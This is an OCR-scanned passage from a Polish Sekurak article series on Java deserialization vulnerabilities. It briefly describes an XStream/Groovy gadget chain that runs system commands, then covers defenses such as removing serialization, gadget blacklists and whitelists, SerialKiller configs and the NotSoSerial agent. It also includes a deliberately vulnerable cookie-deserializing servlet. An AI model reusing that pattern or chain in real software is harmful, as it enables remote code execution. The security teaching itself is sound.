6. Expando podczas dziatania funkcji hashCode() sprawdzi czy ma property hash-
Code, i czy jest ono typu Closure. Okazuje sie ze oba te warunki sg spetnione, jako
wynik zostanie wiec zwrécone wykonanie metody Closure.call().

7. Metoda MethodClosure.call() wywotana w czasie egzekucji hashCode() wywota
metode start(), na obiekcie ProcessBuilder, a to wykona naszg komende systemowa.

8. ProcessBuilder.start() zwrdci wartos¢ inng niz int, co oznacza ze nastapi rzuce-
nie wyjatku i przerwanie wykonania. Z punktu widzenia ataku jest to nie istotne
- kod, ktéry chcielismy zeby sie wykonat, juz sie dawno wykonat.

Czy zadziata to w praktyce? Sprawdzmy. Nie przytaczam tu kodu zrédtowego ser-

wera (przypominam ze jest on dostepny publicznie), gdyz nie rézni sie prawie ni-

czym w stosunku do poprzedniego. Jedyne réznice to:

» XStream zostat podbity do najnowszej wersji,

» Do zaleznosci zostata dodana biblioteka Groovy (w wersji 2.4.3 — pdzniejsze wer-
sje nie dajg mozliwosci uruchomienia tego konkretnego payloadu),

» ,Poprosilismy” XStream, aby serializacje i deserializacje wykonywat za pomoca
JSONa (wystarczy zmieni¢ argument konstruktora — driver).

Co sie zatem stanie po powtdrzeniu znanych juz krokéw exploitacji?

Rysunek 7. Wykonanie payloadu

Morat? Gra w Gadget Whack-a-Mole sie nie optaca.

Na marginesie dodam, ze Arshan Dabirsiaghi podczas tworzenia powyzszego
taricucha gadzetéw odkryt, iz Jenkins uzywa zaréwno biblioteki XStream jak i Gro-
ovy — co zaskutkowato nowym btedem CVE-2016-0792, wygladajagcym identycznie,
jak powyzej zostato to opisane.

PODSUMOWANIE

W niniejszym artykule, Swiadomie przedstawitem kilka luzno ze soba zwiaza-
nych przyktadéw. Moim celem byto zwrdcenie uwagi na podstawowy problem:
podatnosci deserializacji sq niezalezne od biblioteki i formatu danych (a takze -
jezyka programowania, o czym mozna bylto sie dowiedzie¢ z innych artykutow na
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Sekuraku). Kazdy sposéb implementacji serializacji jest potencjalnie niebezpieczny SEKURAK.PL / (TN

- wszystko zalezy od tego, jakie kroki realizuje biblioteka (a takze - jakie wykonuje
programista!) aby sie przed tym broni¢, a takze - jakie gadzety jesteSmy w stanie
znalez¢ w testowanej aplikacji (oraz co owe gadzety s w stanie nam zaoferowac). Protokot WebSocket

Aby tym bardziej ten fakt podkresli¢, wspomne iz Arshan Dabirsiaghi poza bi-
blioteka XStream, testowat réwniez inng alternatywe dla natywnej serializacji
- biblioteke Kryo. Aby zobaczy¢ jak to sie skonczyto, zapraszam do lektury podlin-
kowanego ponizej artykutu.

Whniosek z dwdch pierwszych czesci tej serii jest smutny i/lub przerazajacy - Java
zdecydowanie nie moze by¢ okreslona jako ,kuloodporny” jezyk, i btedy deseriali-
zacji to powazna sprawa. Dlatego w nastepnej (trzeciej i ostatniej) czesci artykutu,
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Java vs deserializacja niezaufanych
danych. Czes¢ 3: metody obrony

To juz ostatnia czeS¢ cyklu artykutéw dotyczacych podatnosci deserializa-
cji niezaufanych danych w jezyku Java. W trzeciej czeSci odpowiemy sobie
na najwazniejsze pytanie —w jaki sposéb zabezpieczy¢ tworzong aplikacje
przed tego typu atakami.

W czesci 1 sprawdzalismy, czy problem ten w ogodle wystepuje w Javie; opisywalismy
sposob tworzenia tanicucha gadzetéw koniecznego do exploitacji, aby ostatecznie za-
demonstrowac atak na przyktadowa aplikacje. W czesci 2, rozwazylismy kilka nietypo-
wych tancuchéw gadzetow i zastanawialismy sie, czy uzycie formatéw XML lub JSON
—zamiast natywnego, binarnego do serializacji — jest rozwigzaniem naszych problemow.

Przypominam, ze kod Zr6dlowy uzyty w niniejszym artykule (za wyjatkiem kodu klas z JRE
i bibliotek) jest publicznie dostepny.

WSTEP

Dotychczasowa lektura artykutow z niniejszej serii, prawdopodobnie ucieszy
pentestera (tyle nowych mozliwosci exploitacji!), ale programiste raczej przygnebi
(tyle nowych mozliwosci exploitacji...). Rzeczywiscie, moze sie wydawa¢, ze uzywa-
jac serializacji w jakiejkolwiek postaci, jestesmy skazani na porazke. Wektoréw ataku
nie brakuje, a podatnos¢ jest bardzo ré6znorodna - nie zalezy ani od formatu, ani
od mechanizmu. Dodatkowo, programista ktéry zechciatby poszukaé rozwigzania
problemu, moze w szybkim czasie sie zatamac (albo przynajmniej lekko zirytowac).
W tym miejscu przypomnijmy (przytaczany w czesci pierwszej) artykut Steve’a Bre-
ene (@breenmachine), pracownika FoxGlove Security. Jak wspomniatem, dzieki pu-
blikacji jego artykutu, podatnosci deserializacji w Javie nabraty rozgtosu, a badania
ich dotyczace, mocno przyspieszyty (stad ich czeste okreslenie: ,Seriapalooza”). Ar-
tykut tego typu nie bytby kompletny, gdyby nie przedstawiat metod obrony przed
prezentowanym atakiem - oddajmy wiec gtos panu Breene:

(...) The Fix — Kind of...

(...) The first thing you can try is the following:

root@us-I-breens:/opt/apache-tomcat-8.0.28# grep -RI InvokerTrans-
former.

./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar

This identifies any jar or class files that contain the vulnerable library.

If you’re particularly brave, you can simply delete all of the associated
files and hope for the best. I'd suggest very thorough testing after this
procedure.

For those faint of heart, you can be a little more surgical about it. If we
examine the two exploits provided by the “ysoserial” tool, we can see
that they both rely on the “InvokerTransformer” class. If we remove
this class file everywhere it exists, any attempted exploits should fail.
Feel free to open up your jar files with your expired copy of Winzip and
delete the file at “org/apache/commons/collections/functors/Invoker-
Transformer.class”. (...)

Czyli:

1. Znajdz wszystkie pliki JAR zawierajace klase InvokerTransformer — przyktado-
WO za pomocg narzedzia grep,

2. Usun wszystkie znalezione w punkcie 1 pliki...

3. ...lub (wersja bezpieczniejsza) — zmodyfikuj pliki JAR, usuwajac z nich podatng
klase InvokerTransformer (jest to stosunkowo proste, gdyz pliki JAR to zasad-
niczo odpowiednio skonstruowane archiwa ZIP, zawierajgce w srodku skompilo-
wane klasy Javowe .class).

OK, w tym momencie, kazda osoba ktéra jest (lub byfa) programistg Javy (tudziez
— generalnie developerem, ktéry ma jakiekolwiek pojecie o Javie), przeciera oczy ze
zdumienia. Zycze tez powodzenia osobom odpowiedzialnym za bezpieczeristwo,
ktérych zadaniem bedzie przedstawienie powyzszego ,rozwigzania” zespotowi od-
powiedzialnemu za tworzenie oprogramowania — nie spotka sie ono bynajmniej
z dobrym przyjeciem. Zreszta, autor artykutu (@breenmachine), doskonale zdaje
sobie z tego sprawe! Oddajmy mu gtos jeszcze raz:

(...) You can infuriate your developers and ops people by telling them
to follow the instructions in “The Fix” section to remediate this in your
environment. It will fix it, but it’s an admittedly ugly solution. {(...)
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Sam autor podkresla, ze ,rozwigzanie” jest paskudne, z punktu widzenia wytwa-
rzania oprogramowania. Pot biedy, gdyby przynajmniej ono dziatato, ale czy jest to
prawda? Pierwszy problem, ktéry od razu nasuwa sie do gtowy to aktualizacje - jak
zapewnic ze aktualizacja biblioteki zostanie odpowiednio zmodyfikowana? Jest
jeszcze gorzej — wbrew temu, co twierdzi @breenmachine (,it will fix it”), powyz-
sze ,rozwigzanie” nie naprawia problemu z deserializacja niezaufanych danych
- jedyne co zostaje naprawione, to problem wykorzystania w celu exploitacji tej po-
datnosci, jednego tancucha gadzetéw (tu: oryginalny tancuch od @frohoff & @gebl
- tzw. CommonsCollections1 z narzedzia ysoserial)!

Ten problem bynajmniej nie jest teoretyczny. Jako przyktad, mozna przytoczyc
niedawno znaleziony btad w (mniej znanej) aplikacji PowerFolder Server (wiecej in-
formacji — Exploit Database). Przytoczmy fragment opisu:

(...) The tested PowerFolder version contains a modified version of the
Java library ,,ApacheCommons”. In this version, the PowerFolder deve-
lopers removed certain dangerous classes like org.apache.commons.
collections.functors.InvokerTransformer, however, exploitation is still
possible using another gadget chain. {(...)

A zatem, programisci zastosowali sie do proponowanego ,rozwigzania”, a i tak oka-
zato sie ze aplikacja jest podatna, gdyz nie usuneli wszystkich gadzetow...

Nie da sie jednak ukry¢, ze jakiekolwiek rozwigzanie jest nam koniecznie po-
trzebne. Statystyczny programista - jak kazdy normalny czlowiek — chciatby, aby
byto ono proste w implementacji, dziatato zawsze i dla wszystkich mozliwych wek-
toréw ataku — tak zwana srebrna kula (ang. silver bullet) zabijajaca wszystkie potwo-
ry... ekhm, podatnosci. Niestety, jak sie okazuje, rozwigzanie tego typu nie istnieje.

W dalszej czesci artykutu rozwazymy niektére z proponowanych w réznych zré-
dtach mozliwosci. Zadna z nich nie jest rozwigzaniem idealnym - kazda ma swoje
plusy i minusy.

ROZWIAZANIE #0: OBFUSKACJA
To ,rozwigzanie” (po raz kolejny uzywam cudzystowu) jest oczywiscie tutaj tylko dla
zartéw.,,Ukrywanie’, czy ,obfuskacja” naszych obiektéw Javowych, to nic innego niz Se-
curity by obscurity, i nikt chyba nie ma ztudzen Ze nie bedzie dziata¢ na dtuzsza mete.
Zarty - zartami; fakt, ze tego typu propozycje wciaz sie pojawiaja, nie jest jednak
$mieszny - na przyktad, czesto mozna spotkac sie z rozwazaniami typu — ,Przeciez

to tylko cigg losowych bajtow... skad atakujacy bedzie wiedziat ze to zserializowa-
ny obiekt Javowy?” lub ,To moze zaszyfrujemy (sic!) to w base64, wtedy juz nikt sie
nie domysli?”. Nalezy mocno i stanowczo przeciwstawiac sie takim ,rozwigzaniom’,
ktére oferujg minimalne zwiekszenie bezpieczenstwa.

Korzystajac z okazji, przypomne pro-tip, przydatny szczegélnie dla pentesteréw: zseriali-
zowany obiekt Javowy zawsze bedzie zaczynat sie od bajtéw AC ED 00 05, a ten sam obiekt,
dodatkowo zakodowany base64, zacznie sie od znakéw rO0. Jak wida¢, wykrywanie takich
obiektéw przesylanych w sieci, wcale nie jest takie trudne jak sie niektérym wydaje :-)

Jeszcze raz nalezy podkresli¢, ze obfuskacja jako rozwigzanie, jest wspomniane w tym arty-
kule jako antywzorzec postepowania oraz przestroga — pod zadnym pozorem nie nalezy go
stosowac.

Obfuskacja - plusy:

» Rozwiazanie skuteczne przeciwko napastnikom opierajacym sie catkowicie na
zautomatyzowanych skryptach, bez praktycznie zadnej wiedzy technicznej
(Script Kiddies) — a i to nie zawsze.

Obfuskacja - minusy:
» Nie oferuje zadnej ochrony przed atakujgcym o przynajmniej minimalnym poje-
ciu o btedach deserializacji w Javie — a wtasciwie — bezpieczenstwie w ogdlnosci.

ROZWIAZANIE #1: BRAK SERIALIZAC]I

Przejdzmy zatem do pierwszego rozwigzania, ktére (przynajmniej czasami) moze
sie sprawdzi¢. Przypomnijmy sobie, ze w artykule pierwszym, sformutowalismy pie¢
koniecznych warunkéw na udang exploitacje. Zaburzajgc chocby jeden z nich, po-
wstrzymamy potencjalny atak.

Punkty 1-3 sg zalezne catkowicie od twoércow jezyka Java i maszyny JVM. Aby
zaburzy¢ ktérys z nich, musielibysmy usunad serializacje z Javy catkowicie. Na szcze-
$cie, rozwigzanie tego typu zostato juz zaproponowane: JEP (Java Enhancement
Proposal) 154: Remove Serialization proponuje doktadnie to, o co nam chodzi!

Niestety, nasz dobry humor szybko skonczy szybki rzut oka na date zgtoszenia
dokumentu - 01.04.2012. Jest jasne, ze dokument ten byt jedynie primaaprilisowym
zartem. Usuniecie serializacji z Javy jest niemozliwe, cho¢by z powodu wstecznej
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kompatybilnosci. Z tego samego powodu, nie nalezy liczy¢ na duze zmiany w spo-
sobie dziatania tej funkcjonalnosci. Punkty 1-3 pozostaja wiec poza nasza mozliwo-
$cia modyfikacji.

CALKOWITA ELIMINACJA SERIALIZAC]I
W porzadku, zostajg nam zatem punkty 4 i 5 z naszej listy, na ktére mamy wptyw.
Punktem 4 zajmiemy sie dalej, a na razie rozwazmy punkt numer 5:

Konkretny program musi umozliwiac¢ odebranie i deserializacje obiektu
od uzytkownika.

Proste wymaganie — i proste rozwigzanie — wystarczy nie uzywac serializacji! Rze-
czywiscie — brak serializacji eliminuje nam podatnos¢, w taki sam sposob, w jaki
brak uzywania bazy danych SQL, eliminuje podatnos¢ SQL Injection. Oczywiscie,
sprawa nie jest taka piekna w praktyce - rozwigzanie to ma pewne konsekwencje.
Co, jezeli aplikacja juz korzysta z serializacji? Kazdy programista wie, jak trudno
jest dokonac zmian takiego kalibru w aplikacji — szczegdlnie, gdy aplikacja jest
duza. Dodatkowo - co, jezeli aplikacja musi korzystac z serializacji? W drugiej cze-
$ci artykutu wspomniatem, jest mozliwe (bez straty ogélnosci) zatozenie, ze uzy-
wanie jakiejs formy serializacji, jest bezwzglednym wymogiem w zdecydowanej
wiekszosci aplikacji. Zaktadajac nawet, ze mamy czas i srodki zeby serializacje ,wy-
plewi¢” (albo - jeszcze jej nie uzywamy), mozemy byc¢ postawieni przed koniecz-
noscia jej uzywania teraz, lub w przysztosci. | w koncu, co jezeli aplikacja korzysta
z bibliotek/frameworkéw/narzedzi, ktére uzywaja serializacji? We wspomnianym
juz artykule @breenmachine, prezentowane luki wystepuja w szeroko uzywa-
nych narzedziach. Co z tego, ze nasza aplikacja jest super bezpieczna (czyli - nie
uzywa w ogole serializacji), jesli rownoczesnie uzywamy Jenkinsa do Continous
Integration, lub serwera JBoss w ktérym przypadkiem skonfigurowali$my JMX
jako dostepne z internetu? Oczywiscie, wyzej wspomniane podatnosci sg nieno-
we i zatatane (a przynajmniej powinny by¢!), ale szansa powtdrzenia sie historii,
jest bardzo duza. Swietnym przyktadem na to, jest fatanie Jenkinsa w listopadzie,
po odnalezieniu probleméw z serializacjg natywnga (o czym wspominam w czesci
pierwszej niniejszej serii), po to, zeby tata¢ go ponownie w lutym, w zwigzku z od-
nalezieniem luk w serializacji XStream (co opisane jest w czesci drugiej niniejszej
serii). Problemy moga wystapi¢ zarbwno Jenkinsie, ktéry jest osobng aplikacja,

w serwerze JBoss, na ktérym uruchomiona jest nasza aplikacja, a takze w dowol-
nej bibliotece czy frameworku ktérych nasza aplikacja uzywa...

Podsumowujac — mimo, ze metoda catkowitego pozbycia sie serializacji jest sku-
teczna - jej praktyczne zastosowanie pozostawia wiele do zyczenia.

Eliminacja serializacji - plusy:
» Catkowicie naprawia problemy z deserializacjg niezaufanych danych, w stworzo-
nym kodzie.

Eliminacja serializacji - minusy:

» Metoda niepraktyczna do zastosowania w duzych aplikacjach, wymagajacych
sporych zmian w kodzie,

» Metoda czesto niemozliwa w wykorzystaniu - serializacja moze by¢ (z niematym
prawdopodobienstwem) wymogiem biznesowym,

» Nie zabezpiecza catego produktu - biblioteki, frameworki i inne narzedzia moga
by¢ nadal podatne.

ELIMINAC]JA SERIALIZAC]JI NATYWNE]

W porzadku, sprébujmy lekko rozluzni¢ nasze podejscie: rezygnujemy z seriali-
zacji natywnej i bedziemy uzywac tylko, i wylacznie zewnetrznych bibliotek.

Pierwszy problem z tym rozwigzaniem, jest oczywisty - jak zostato pokazane
w czesci drugiej tej serii — sama rezygnacja z serializacji natywnej, nie oznacza automa-
tycznie, ze jestesmy bezpieczni. W ostatnim czasie — dla przypomnienia — znajdowane
byty problemy w bibliotekach XStream i Kryo.

Nie nalezy jednak pochopnie wnioskowac, ze cate rozwigzanie jest mato wartoscio-
we - zaktadajac, ze znajdziemy biblioteke, ktora tego typu probleméw nie ma, jest to
catkiem sensowny sposdb obrony. Przykfadem takiej biblioteki, jest Jackson — osobiscie,
nie jestem Swiadom istnienia podatnosci deserializacji w tym produkcie (jesli Czytelnik
ma przyktady na to ze jest inaczej, zapraszam do komentowania — chetnie sie o tym
dowiem!). Nalezy jednak zaznaczy¢ fakt, ze pomimo, iz Jackson nie posiada znanych
podatnosci dzis, nie oznacza oczywiscie, ze nie bedzie posiadat ich jutro...

Eliminacja serializacji natywnej - plusy:
» Przy zatozeniu, ze alternatywna metoda jest odporna na btedy deserializacji
— catkowicie eliminuje problem z deserializacjg w stworzonym kodzie.
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Eliminacja serializacji natywnej - minusy:

» W momencie odkrycia podatnosci — wracamy do punktu zero...

» W dalszym ciagu wszystkie niezalezne od nas komponenty (biblioteki, frame-
worki, narzedzia) moga by¢ podatne — w koricu nie musza one stosowa¢ nasze-
go bezpiecznego rozwigzania...

» Narzucamy sobie konkretna technologie (moze woleliby$my wykorzysta¢ XStre-
am oraz jego wspaniaty i prosty w uzyciu API?)

ROZWIAZANIE #2: BLOKOWANIE GADZETOW

W rozwigzaniu numer 1, staralismy sie uniemozliwi¢ zaistnienie warunku nr 5
z naszej listy zatozen koniecznych do exploitacji. Jak wspomniatem, jest jeszcze dru-
gi warunek, na ktéry mozemy mie¢ wptyw — warunek numer 4:

Musimy znaleZ¢ odpowiednie klasy obiektow, ktdre posiadajq wyzej
wspomniane metody i robig w nich cos , interesujgcego”. Co wiecej,
klasy te muszq by¢ ,,dostepne” (...).

Innymi stowy, warunek numer 4 wymaga istnienia gadzetéw. By¢ moze — zamiast
walki z sama serializacjg - powalczymy z gadzetami... ale jak? Ot6z, jest kilka sposo-
bow - zarébwno od strony koncepcyjnej, jak i od strony uzycia konkretnych narzedzi.
Ponizej, przedstawione zostaty najpierw dwie metody podejscia do problemu, a na-
stepnie, dwa konkretne przyktady projektow, ktére mozna w tym celu wykorzystac:
SerialKiller i NotSoSerial. Od razu tez dodam, ze te konkretne projekty odnosza sie do
serializacji natywnej, jako ze nie posiada ona zadnej wbudowanej mozliwosci blo-
kowania deserializacji niebezpiecznych klas. Serializacja z uzyciem dodatkowych bi-
bliotek, bedzie wymagata wsparcia mechanizmoéw obecnych w tychze bibliotekach.

BLACKLISTING VS. WHITELISTING

Pierwsza sprawa, nad ktorg musimy sie zastanowi¢, to jakiego podejscia uzy-
jemy do blokowania gadzetéw. Podobnie jak w innych problemach walidacyj-
nych, mamy do czynienia zdwiema mozliwosciami: czarna lista (ang. blacklisting)
czyli blokowanie danych wejsciowych, o ktérych wiemy, ze sa niebezpieczne
(ang. known-bad), lub biata lista (ang. whitelisting), czyli blokowanie wszystkie-
go - poza danymi, o ktérych wiemy, ze sg bezpieczne (ang. known-good). Nie
ma potrzeby rozpisywanie zasad dziatania, gdyz koncepcja powinna by¢ znana

Czytelnikowi — wspomne o pewnych specyficznych aspektach w kontekscie pro-
blemoéw deserializacji. W artykule drugim, opisujac problemy w bibliotece XStre-
am, wspomniatem, ze jej twércy zdecydowali sie na rozwigzanie w postaci gry
w Gadget Whack-A-Mole. Whack-A-Mole jest typem gry, gdzie mamy pewng ilos¢
otwordéw na planszy, z ktérych — co chwila (losowo) — wynurza sie tytutowy kret.
Zadaniem gracza, jest jak najszybsze uderzenie kreta mtotkiem, co powoduje,
iz kret chowa sie... aby za chwile wyskoczy¢ z innego otworu! W naszym przy-
padku, porownanie powinno byc¢ oczywiste - nasz ,kret” to gadzet, a uderzenie
mtotkiem — usuniecie mozliwosci jego wykorzystania w exploitacji. Niestety, jak
w oryginalnej grze, usuniecie pojedynczego gadzetu z reguty konczy sie poja-
wieniem innego...

Oczywiscie, nie trudno zauwazy¢ ze Gadget Whack-A-Mole, to nic innego jak
blacklisting gadzetow — usuwamy (zabraniamy uzycia) te, o ktérych wiemy, ze sg
niebezpieczne.

Jako przyktad z zycia wziety, odwotam sie do wstepu niniejszego artykutu
- rozwigzanie zaproponowane przez @breenmachine, jest niczym innym jak blac-
klistingiem —w koricu usuwamy z plikéw JAR to, o czym wiem, ze moze zostac uzyte
w ataku (konkretnie - klasa InvokerTransformer). | - jak rGwniez wspominatem
we wstepie - klasyczne obejscie tego rozwigzania, rzeczywiscie wystepuje w prak-
tyce (PowerFolder Server). Gadget Whack-A-Mole w praktyce.

Negatywne konsekwencje stosowania czarnych list sg raczej jasne. Nie jest ta-
jemnica, ze podejscie biatej listy jest zawsze preferowane w kontekscie bezpieczen-
stwa aplikacji. Niekiedy jest ono traktowane jak remedium - niestety, nie w przy-
padku deserializacji.

Rozwazmy dwa przyktady z czesci drugiej tej serii — ataki typu DoS za pomoca
zbioréw (HashSet), lub tablic. Na pierwszy rzut oka, obie klasy wydaja sie catkowi-
cie ,niewinne” - wiemy jednak, ze nie jest tak we wszystkich przypadkach. Ponie-
waz sg to standardowe, bardzo czesto uzywane klasy natywne jezyka Java, szansa
uwzglednienia ich na naszych biatych listach, jest bardzo duza... Co wiecej, nie-
trudno sobie wyobrazi¢ sytuacje, ze klasy te, beda musiaty by¢ na biatej liscie, aby
aplikacja dziatata!

Widzimy zatem, ze oba rozwigzania koncepcyjne, same w sobie niosg pewne
problemy, bez wzgledu na ich konkretng implementacje. W szczegdlnosci, plusy
i minusy obu projektéw opisanych ponizej (SerialKiller i NotSoSerial), s3 nadzbio-
rem pluséw i minuséw rozwigzan koncepcyjnych.
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Blacklisting - plusy:

» Mate konsekwencje po uzyciu (blokujemy mato klas, a wiec co najwyzej niewiel-
ka czesc¢ aplikacji bedzie dotknieta),

» Pozwala zablokowac¢ znane wektory ataku.

Blacklisting - minusy:
» Rozwiazanie dziata tylko do odkrycia nowego tancucha gadzetow.

Whitelisting - plusy:
» Blokuje prawie wszystkie (czasami — wszystkie) wektory ataku.

Whitelisting - minusy:

» Moze spowodowac btedy w istniejgcej aplikacji, wymaga pewnego zachodu
przy poczatkowym tworzeniu listy,

» Utrudnia dalszy rozwdj kodu (trzeba zawsze pamieta¢ o dodawaniu nowych klas
do listy),

» Pewne specyficzne ataki moga zostac przeprowadzone mimo biatej listy.

OPAKOWANIE SERIALIZAC]I - SERIALKILLER

W porzadku, wiemy juz jak podejs¢ do blokowania gadzetow - czas na praktyke.
Na pierwszy ogien poéjdzie biblioteka SerialKiller.

Zastanowmy sie — dlaczego w ogole potrzebujemy specjalnych narzedzi do blo-
kowania gadzetéw? Otoz, problem lezy w sposobie, w jaki Java deserializuje obiek-
ty. Najpierw, tworzone sg konkretne instancje, a dopiero potem sprawdzane jest,
czy instancje te s3 odpowiedniego (oczekiwanego) typu. To podejscie umozliwia
nasze ataki. Bytoby idealnie, gdybysmy mogli przeprowadzic ten proces na odwrot,
to znaczy - najpierw sprawdzi¢ typ obiektu, a dopiero potem - jesli typ sie zgadza
(@ przynajmniej jesli wiemy, ze nie jest niebezpieczny) — zdeserializowac go. To po-
dejscie, zwane deserializacjq z patrzeniem wprzdd (ang. look-ahead deserialization),
zostato wykorzystane w projekcie SerialKiller.

Biblioteka implementuje subklase klasy ObjectInputStream, dzieki czemu,
konieczne zmiany w aplikacji s niewielkie. Minusem jest fakt, ze musimy pamietac
o uzywaniu klasy SerialKiller, zamiast ObjectInputStream. Zobaczmy, jak
wygladatby nasz kod z czesci pierwszej tej serii, po niezbednych zmianach (zmie-
nione linie zostaty pogrubione):

1. @WebServlet(
2. name = "Servlet",
3. urlPatterns = {"/"}
4. )
5. public class Servlet extends HttpServlet {
6. <strong>private final String SERIAL_KILLER_CONFIG_PATH =
"src/main/resources/serialkiller.xml";</strong>
7.
8. @Override
9. protected void doGet(HttpServletRequest request, HttpServletResponse response)
1e. throws ServletException, IOException {
11. Cookie[] cookies = request.getCookies();
12.
13. Data data = null;
14.
15. if (null != cookies) {
16. for (Cookie cookie : cookies) {
17. if (cookie.getName().equals("data")) {
18. try {
19. byte[] serialized = Base64.decodeBase64(cookie.getValue());
20. ByteArrayInputStream bais =
new ByteArrayInputStream(serialized);
21. <strong>0ObjectInputStream ois = new SerialKiller(
bais, SERIAL_KILLER_CONFIG_PATH) </strong>;

22. data = (Data) ois.readObject();
23. } catch (ClassNotFoundException e) {
24. e.printStackTrace();
25. } catch (ConfigurationException e) {
26. e.printStackTrace();
27. }
28. }
29. }
30. }
31.
32. if (null == data) {
33. data = new Data("Anonymous");
34. }
35.
36. request.setAttribute("name", data.getName());
37. request.getRequestDispatcher("page.jsp").forward(request, response);
38. }
39.
40. @Override
41. protected void doPost(HttpServletRequest request, HttpServletResponse response)
42, throws ServletException, IOException {
43. if (null != request.getParameter("name")) {
44, Data data = new Data(request.getParameter("name"));
45.
46. ByteArrayOutputStream baos = new ByteArrayOutputStream();
47. ObjectOutputStream oos = new ObjectOutputStream(baos);
48, oos.writeObject(data);
49.
50. Cookie cookie = new Cookie(

"data", Base64.encodeBase64String(baos.toByteArray()));
51. response.addCookie(cookie);
52. }
53.
54, response.sendRedirect("/");
55. }
56. }
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Jak wida¢, jedyne zmiany to uzycie klasy SerialKiller w linii 21, zamiast Ob-
jectInputStream izdefiniowanie sciezki do pliku konfiguracyjnego w linii 6.

Biblioteka SerialKiller sktada sie zasadniczo z jednej klasy — rowniez SerialKill-
er. Jako, ze nie wystepuje ona w publicznych repozytoriach Mavena, w przyktado-
wym projekcie (dla uproszczenia), klasa ta zostata po prostu skopiowana do projektu.

Aby SerialKiller byt cokolwiek wart, nalezy oczywiscie odpowiednio zdefiniowac
jego plik konfiguracyjny. Rzeczywiscie, rozwazmy nastepujacy plik:

1. <?xml version="1.0" encoding="UTF-8"?>
2. <config>

<refresh>6000</refresh>

<blacklist>

</blacklist>

<whitelist>

<regexp>.*</regexp>

</whitelist>

</config>

woNOUVTA~W

To znaczy: czarna lista jest pusta, a wyrazenie regularne na biatej liscie, pasuje do
wszystkiego (czyli, pozwalamy na deserializacje dowolnych klas). Po ustawieniu na-
szego ciastka na payload z pierwszej czesci, zobaczymy znajomy widok:

Rysunek 1. Wykonanie payloadu

Zatem, deserializacja dziata bez zmian i nasz payload sie wykonuje.
Aby temu zapobiec, umies¢my uzywany przez nas gadzet (InvokerTrans-
former) na czarnej liscie:

<?xml version="1.0" encoding="UTF-8"?>
<config>
<refresh>6000</refresh>
<blacklist>
<regexp>
org\.apache\.commons\.collections\.functors\.InvokerTransformers$
</regexp>
6 </blacklist>
7. <whitelist>
8. <regexp>.*</regexp>
9
1

uih wWwN PR

</whitelist>
0. </config>

Przetadowujac strone, tym razem zobaczymy widok, ktéry sie rézniod poprzedniego:

Rysunek 2. Blokada payloadu — wykorzystanie czarnej listy

Wyjatek jest inny (i do$¢ wyraznie wskazuje na przyczyne), a co najwazniejsze — ani
$ladu naszego kalkulatora. Jak wida¢, biblioteka skutecznie zablokowata nasz payload.

Dodatkowym plusem jest fakt, ze SerialKiller wspiera dynamiczne odswiezanie
konfiguracji (z konfigurowalnym interwatem - w przyktadzie — 6 sekund). Mozemy
wiec szybko reagowac na nowe gadzety, modyfikujac jedynie plik konfiguracyjny
- niepotrzebny jest redeployment, czy nawet - restart serwera.
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SerialKiller - plusy:

» Metoda dos¢tatwa w uzyciu, wymagajaca stosunkowo niewielkich zmian w kodzie,

» Mozliwos¢ konfiguracji w trybie blacklisting i whitelisting,

» W zaleznosci od konfiguracji, moze oferowac petne zabezpieczenie przed ataka-
mi deserializacji w stworzonym kodzie,

» Umozliwia odswiezanie regut blokowania bez restartu i redeploymentu serwera.

SerialKiller - minusy:

» Nie eliminuje probleméw dla fragmentéw kodu niezaleznych od programisty
- z bibliotek, frameworkoéw, narzedzi itp.,

» Wymaga modyfikacji w kodzie - w przypadku decyzji o rezygnacji z biblioteki (na
przyktad gdy chcemy zmieni¢ rozwigzanie), musimy po raz kolejny przegladac
caty nasz projekt i poprawia¢ fragmenty, w ktérych dokonujemy deserializacji,

» Nie wymusza bezpieczniej deserializacji — niedoswiadczony, nieswiadomy lub
leniwy programista, nadal moze uzy¢ standardowego ObjectInputStream,

» Dziata tylko dla natywnej serializacji,

» W przypadku ztej konfiguracji, nadal umozliwia pewne ataki,

» Jak wspomina dokumentacja, biblioteka moze nie by¢ gotowa do uzycia na $ro-
dowisku produkcyjnym - rzeczywiscie, problematyczny jest chociazby brak za-
leznosci mavenowej.

MODYFIKACJA JVM (JAVA AGENT) - NOTSOSERIAL

Podejscie biblioteki SerialKiller jest ciekawe, jednak ma pewne (wcale nie takie
mate...) minusy. Czy jest mozliwe, abysmy znalezli cos podobnego, co przy okaz;ji,
wymagatoby minimalnych zmian w aktualnym kodzie i dziatato automatycznie? Bi-
blioteka NotSoSerial stara sie zaoferowac takie rozwigzanie.

Istota dziatania jest wtasciwie bez zmian - r6zni sie mechanizm. Zamiast dzie-
dziczenia klasy ObjectInputStream uzyjemy pakietu java.lang.instrument, ktéry
umozliwia nam tworzenie tak zwanych Java Agents - klas, ktore pozwalajg instru-
mentowac wykonywany kod. W tym momencie, powinnismy zaprezentowac¢ kod
naszej aplikacji, ale dzieki takiemu, a nie innemu rozwigzaniu, jest on dokladnie
taki sam, jak kod z czesci pierwszej tej serii. Jedyna zmiana, to dodanie naszego
agenta do argumentéw JVM, przy starcie naszego serwera. Jako, ze przyktad uzywa
serwera Tomcat Embedded, sprowadza sie to do jednej, dodatkowej linii (numer 5
- pogrubiona) w pliku pom.xmil:

C())

1

2.

3. <configuration>

4 <assembleDirectory>target</assembleDirectory>

5 <strong><extralvmArguments>-javaagent:<lokacja pliku notsoserial.jar>
</extralvmArguments></strong>

6 <programs>

7. <program>

8. <mainClass>Main</mainClass>
9. <name>webapp</name>

10. </program>

11. </programs>

12. </configuration>

13.

14. (...)

Agent NotSoSerial domysinie ma zatadowang konfiguracje, sktadajaca sie z czesci
znanych, niebezpiecznych gadzetéw, ktérych deserializacje blokuje. Dlatego, po
uruchomieniu serwera z naszg zmianga i po wykonaniu préby podania naszego stan-
dardowego payloadu, otrzymamy nastepujacy wynik:

Rysunek 3. Proba wykonania payloadu po modyfikacji z NotSoSerial
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Oczywiscie, tak jak w poprzednim przyktadzie, nasze rozwigzanie bedzie silne na
tyle, na ile doktadnie skonfigurujemy nasze czarne i/lub biate listy. W ramach préby,
zatézmy, ze jesteSmy maniakami, ktérzy nie chcag zadnej deserializacji w systemie.
Aby to zrobi¢, przygotowujemy biata liste, ktdra bedzie po prostu pustym plikiem
tekstowym. Nastepnie, dodajemy ja do konfiguracji — dzieje sie to przez ustawienie
kolejnego parametru JVM w linii 5 (pogrubione):

1. (...)
2.
3. <configuration>
4. <assembleDirectory>target</assembleDirectory>
5. <strong>
<extralvmArguments>-javaagent:<lokacja pliku notsoserial.jar> -
